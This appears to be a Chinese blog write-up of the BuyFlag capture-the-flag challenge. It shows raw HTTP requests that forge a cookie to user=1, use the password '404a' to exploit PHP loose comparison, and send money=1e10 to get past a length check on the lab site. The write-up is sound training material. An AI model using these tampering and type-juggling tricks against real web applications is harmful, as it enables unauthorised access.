首页 > 其他分享 >[极客大挑战 2019]BuyFlag

[极客大挑战 2019]BuyFlag

时间:2023-10-31 14:14:42浏览次数:37  
标签:xml 极客 application money image Accept BuyFlag 2019 password

打开网页,发现右手边的菜单中有个 PAYFLAG,打开后跳转到 pay.php 中,其中网页源代码有提示,主要内容如下:

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
Only Cuit's students can buy the FLAG

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

查看 pay.php 的请求包,如下,可以发现,Cookie 中存在一个 user,配合提示,可以得知需要将 user 改为 1,并且 POST $password 需要通过非数字检查,并且又要与 404 相等,最后还需要 POST $money

GET /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=0
Connection: close


此时,可以将 $password 设置为 404a,这样可以通过非数字检查,又可以利用弱比较,通过与 404 相等的检查,请求包与响应包如下。

POST /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

password=404a&money=100000000
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 30 Oct 2023 15:45:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2477
Connection: close
X-Powered-By: PHP/5.3.3

<!DOCTYPE HTML>

<html>
	<head>
		<title>Buy You Flag</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<!--[if lte IE 8]><script src="assets/js/ie/html5shiv.js"></script><![endif]-->
		<link rel="stylesheet" href="assets/css/main.css" />
		<!--[if lte IE 8]><link rel="stylesheet" href="assets/css/ie8.css" /><![endif]-->
		<!--[if lte IE 9]><link rel="stylesheet" href="assets/css/ie9.css" /><![endif]-->
	</head>
	<body>

		<!-- Page Wrapper -->
			<div id="page-wrapper">

				<!-- Header -->
					<header id="header">
						<h1><a href="index.php">Syclover</a></h1>
						<nav id="nav">
							<ul>
								<li class="special">
									<a href="#menu" class="menuToggle"><span>Menu</span></a>
									<div id="menu">
										<ul>
											<li><a href="index.php">Home</a></li>
											<li><a href="pay.php">PayFlag</a></li>
										</ul>
									</div>
								</li>
							</ul>
						</nav>
					</header>

				<!-- Main -->
					<article id="main">
						<header>
							<h2>Flag</h2>
							<p>Flag need your 100000000 money</p>
						</header>
						<section class="wrapper style5">
							<div class="inner">

								<h3>attention</h3>
								<p>If you want to buy the FLAG:</br>
									You must be a student from CUIT!!!</br>
									You must be answer the correct password!!!

	
								</p>
<hr />
<p>
you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>	
</p>								

								<hr />

							</div>
						</section>
					</article>

				<!-- Footer -->
					<footer id="footer">

						<ul class="copyright">
							<li>&copy; Syclover</li><li>Design: Cl4y</li>
						</ul>
					</footer>

			</div>

		<!-- Scripts -->
			<script src="assets/js/jquery.min.js"></script>
			<script src="assets/js/jquery.scrollex.min.js"></script>
			<script src="assets/js/jquery.scrolly.min.js"></script>
			<script src="assets/js/skel.min.js"></script>
			<script src="assets/js/util.js"></script>
			<!--[if lte IE 8]><script src="assets/js/ie/respond.min.js"></script><![endif]-->
			<script src="assets/js/main.js"></script>
	
	</body>
<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->
</html>

响应包中提示:Nember lenth is too long,提示输入的 $money 长度过长,那么可以用指数表示法来绕过长度检测:$money = 1e10,请求包如下。

POST /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

password=404a&money=1e10

标签:xml,极客,application,money,image,Accept,BuyFlag,2019,password
From: https://www.cnblogs.com/imtaieee/p/17800085.html

相关文章

  • [RoarCTF 2019]Easy Calc
    题目一打开,是一个计算器。主页源代码如下,这里可以看到有一个calc.php文件,并且提示存在WAF(疑)。<!--I'vesetupWAFtoensuresecurity.--><script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($(&q......
  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unserialize......
  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unseria......
  • [安洵杯 2019]吹着贝斯扫二维码
    [安洵杯2019]吹着贝斯扫二维码压缩包里面有个flag.zip文件,但是有密码无法打开并且注释信息里有一串字符GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY经过base32解码和16进制转换后得到另一串,但是显......
  • World Tour Finals 2019 D Distinct Boxes
    洛谷传送门AtCoder传送门神题。设第\(i\)个箱子有\(x_i\)个红球,\(y_i\)个蓝球,那么要求找到最大的\(K\)使得\(\sum\limits_{i=1}^Kx_i\leR,\sum\limits_{i=1}^Ky_i\leB\),且\((x_i,y_i)\)两两不等。显然我们都希望\(x_i,y_i\)尽量小。但是当\(R,B\)......
  • SharePoint 2019开发:如何通过脚本来变更SharePoint Group的 Permission Level
    Blog链接:https://blog.51cto.com/13969817很多企业出于安全管理需要,ITadmin需要根据SecurityPolicy或者审计要求定期批量的修改SharePoint权限,比如添加或者删除某个用户,或者更换某个Group的Permissionlevel等等,如果单纯的修改一个网站,那么我们可以直接到SiteSettings的Permiss......
  • 【安洵杯 2019】easy_serialize_php
    【安洵杯2019】easy_serialize_php收获php反序列化逃逸数组变量覆盖POST请求体传递数组分析代码:<?php$function=@$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');......
  • MicroSIP-3.21.3+pjproject-2.13.1+ opus-1.3.1+VS2019
    本文记录了我通过VS2019编译MicroSIP-3.21.3开源项目的过程。Microsip:MicroSIPsourcecodepjproject:DownloadPJSIP-OpenSourceSIP,Media,andNATTraversallibraryopus:Downloads–OpusCodec(opus-codec.org)下载并解压后如图: 用vs2019将microsip的平......
  • P5289 [十二省联考 2019] 皮配
    很容易想到设\(dp_{i,j,k}\)表示考虑前\(i\)个阵营,\(C_0=j\),\(D_0=k\)时的方案数,层内转移时可以用辅助数组对两种阵营决策分别转移,此时时间复杂度为\(O(nM^2)\)。考虑\(k=0\)的情况,如果我们能做这个的话,\(k=30\)其实就是在暗示我们把特殊选手拆出来单独做。而如果所有选......
  • solid edge2019安装包 32/64位 官方版 中文特别版
    SolidEdgeST20官方版是一款专业强大的三维模型设计软件。SolidEdgeST20中文版以Parasolid为核心,采用实体造型引擎打造,能够帮助用户完成复杂的模型设计。SolidEdgeST20软件可以为设计、仿真和协作提供强大的增强功能,为用户提供完美的设计方案。软件地址:看置顶贴SolidEdge2022......